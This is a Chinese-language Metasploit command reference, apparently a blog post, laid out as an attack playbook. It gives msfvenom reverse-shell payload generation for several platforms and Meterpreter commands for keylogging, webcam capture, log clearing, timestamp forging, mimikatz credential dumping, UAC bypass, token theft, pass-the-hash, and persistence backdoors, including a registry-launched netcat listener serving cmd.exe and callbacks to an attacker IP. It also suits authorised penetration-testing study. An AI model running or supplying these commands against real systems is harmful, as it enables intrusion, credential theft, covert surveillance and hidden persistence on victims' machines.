MSF命令大全详解
0x00 payload生成
windows&linux
| Windows: |
| msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe > 保存路径/文件名 |
| Linux: |
| msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f elf > 保存路径/文件名 |
web
| PHP: |
| msfvenom -p php/meterpreter_reverse_tcp lhost=[你的IP] lport=[端口] -f raw > 保存路径/文件名.php |
| ASP: |
| msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口]-f asp > 保存路径/文件名.asp JSP: msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[端口]-f raw > 保存路径/文件名.jsp WAR: msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[端口]-f war > 保存路径/文件名.war |
android
| Android: |
| msfvenom -p android/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -o 保存路径/文件名.apk |
0x01 msfvenom命令
| Options: |
| -p, --payload<payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定 |
| -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all |
| -n, --nopsled<length>为payload预先指定一个NOP滑动长度 |
| -f, --format <format>指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) |
| -e, --encoder[encoder] 指定需要使用的encoder(编码器) |
| -a, --arch <architecture> 指定payload的目标架构 |
| --platform <platform> 指定payload的目标平台 |
| -s, --space <length>设定有效攻击荷载的最大长度 |
| -b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff' |
| -i, --iterations <count> 指定payload的编码次数 |
| -c, --add-code <path> 指定一个附加的win32 shellcode文件 |
| -x, --template <path> 指定一个自定义的可执行文件作为模板 |
| -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 |
| --payload-options列举payload的标准选项 |
| -o, --out <path> 保存payload |
| -v, --var-name <name>指定一个自定义的变量,以确定输出格式 |
| --shellest 最小化生成payload |
| -h, --help 查看帮助选项 |
| --help-formats 查看msf支持的输出格式列表 |
0x02 常用系统命令
| sessions |
| sessions -i <ID值> |
| background |
| run |
| info |
| getuid |
| getpid |
| sysinfo |
| ps |
| idletime |
| reboot / shutdown |
| shell |
uictl开关键盘/鼠标
| uictl [enable/disable] [keyboard/mouse/all] |
| uictl disable mouse |
| uictl disable keyboard |
webcam摄像头命令
| webcam_list |
| webcam_snap |
| webcam_stream |
execute执行文件
| execute |
| execute -H -i -f cmd.exe |
migrate进程迁移
| getpid |
| ps |
| migrate <pid值> |
| kill <pid值> |
clearev清除日志
0x03 文件类命令
基本文件系统命令
| getwd 或者pwd |
| ls |
| cd |
| search -f *pass* |
| cat c:\\lltest\\lltestpasswd.txt |
| upload /tmp/hack.txt C:\\lltest |
| download c:\\lltest\\lltestpasswd.txt /tmp/ |
| edit c:\\1.txt |
| rm C:\\lltest\\hack.txt |
| mkdir lltest2 |
| rmdir lltest2 |
| getlwd 或者 lpwd |
| lcd /tmp |
timestomp伪造时间戳
| timestomp C:// -h |
| timestomp -v C://2.txt |
| timestomp C://2.txt -f C://1.txt |
0x04 网络类命令
基本网络命令
| ipconfig/ifconfig |
| netstat –ano |
| arp |
| getproxy |
| route |
portfwd端口转发
| portfwd add -l 6666 -p 3389 -r 127.0.0.1 |
autoroute添加路由
| run autoroute –h |
| run autoroute -s 192.168.159.0/24 |
| run autoroute –p |
利用arp_scanner.Portscan等进行扫描
| run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 |
| run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.144 PORTS=3389 |
Socks4a代理
| autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理 |
| msf> use auxiliary/server/socks4a |
| msf > set srvhost 127.0.0.1 |
| msf > set srvport 1080 |
| msf > run |
| 然后vi /etc/proxychains.conf |
| 最后proxychains 使用Socks4a代理访问 |
0x05 信息搜集
信息搜集脚本位于
| /usr/share/metasploit-framework/modules/post/windows/gather |
| /usr/share/metasploit-framework/modules/post/linux/gather |
信息收集的脚本常用
| run post/windows/gather/checkvm |
| run post/linux/gather/checkvm |
| run post/windows/gather/forensics/enum_drives |
| run post/windows/gather/enum_applications |
| run post/windows/gather/dumplinks |
| run post/windows/gather/enum_ie |
| run post/windows/gather/enum_chrome |
| run post/windows/gather/enum_patches |
| run post/windows/gather/enum_domain |
0x06 提权
getsystem提权
| getsystem |
| |
| getsystem工作原理: |
| getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。 |
| getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。 |
| Windows服务已启动,导致与命名管道建立连接。 |
| 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。 |
| 然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。 |
bypassuac
内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:
| use exploit/windows/local/bypassuac |
| use exploit/windows/local/bypassuac_injection |
| use windows/local/bypassuac_vbs |
| use windows/local/ask |
bypassuac.rb脚本
| msf > use exploit/windows/local/bypassuac |
| msf > set SESSION 2 |
| msf > run |
内核漏洞提权
可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权
| meterpreter > run post/windows/gather/enum_patches |
| msf > use exploit/windows/local/ms13_053_schlamperei |
| msf > set SESSION 2 |
| msf > exploit |
0x07 mimikatz抓密码
| load mimikatz |
| wdigest |
| mimikatz_command -f samdump::hashes |
| mimikatz_command -f sekurlsa::searchPasswords |
0x08远程桌面&截屏
| enumdesktops |
| getdesktop |
| set_desktop |
| screenshot |
| use espia |
| run vnc |
0x09 开启rdp&添加用户
| run getgui –h |
| run getgui -e |
| run getgui -u lltest2 -p 123456 |
| run getgui -f 6661 –e |
| getgui 系统不推荐,推荐使用run post/windows/manage/enable_rdp |
| getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆 |
enable_rdp脚本
| run post/windows/manage/enable_rdp |
| run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 |
| run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 |
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令
0x10 键盘记录
| keyscan_start |
| keyscan_dump |
| keyscan_stop |
0x11 sniifer抓包
| use sniffer |
| sniffer_interfaces |
| sniffer_start 2 |
| sniffer_stats 2 |
| sniffer_dump 2 /tmp/lltest.pcap |
| sniffer_stop 2 |
0x12注册表操作
| reg –h |
| -d 注册表中值的数据.-k 注册表键路径-v 注册表键名称 |
| enumkey 枚举可获得的键setval 设置键值queryval 查询键值数据 |
注册表设置nc后门
| upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 |
| reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run |
| reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' |
| reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc |
| |
| nc -v 192.168.159.144 443 |
0x13令牌操纵
incognito假冒令牌
| use incognito |
| list_tokens -u |
| impersonate_token 'NT AUTHORITY\SYSTEM' |
| 或者impersonate_token NT\ AUTHORITY\\SYSTEM |
| execute -f cmd.exe -i –t |
| 或者直接shell |
| rev2self |
steal_token窃取令牌
| steal_token <pid值> |
| drop_token |
哈希利用
获取哈希
| run post/windows/gather/smart_hashdump |
| |
psexec哈希传递
| 通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击 |
| 前提条件:①开启445端口 smb服务;②开启admin$共享 |
| |
| msf > use exploit/windows/smb/psexec |
| msf > set payload windows/meterpreter/reverse_tcp |
| msf > set LHOST 192.168.159.134 |
| msf > set LPORT 443 |
| msf > set RHOST 192.168.159.144 |
| msf >set SMBUser Administrator |
| msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c |
| msf >set SMBDomain WORKGROUP |
| msf >exploit |
0x15添加后门维权
persistence启动项后门
| 在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本 |
| 在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项 |
| run persistence –h |
| run persistence -X -i 5 -p 6661 -r 192.168.159.134 |
| |
连接后门
| msf > use exploit/multi/handler |
| msf > set payload windows/meterpreter/reverse_tcp |
| msf > set LHOST 192.168.159.134 |
| msf > set LPORT 6661 |
| msf > exploit |
metsvc服务后门
| 在C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter |
| |
| run metsvc –h |
| run metsvc –A |
连接后门
| msf > use exploit/multi/handler |
| msf > set payload windows/metsvc_bind_tcp |
| msf > set RHOST 192.168.159.144 |
| msf > set LPORT 31337 |
| msf > exploit |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步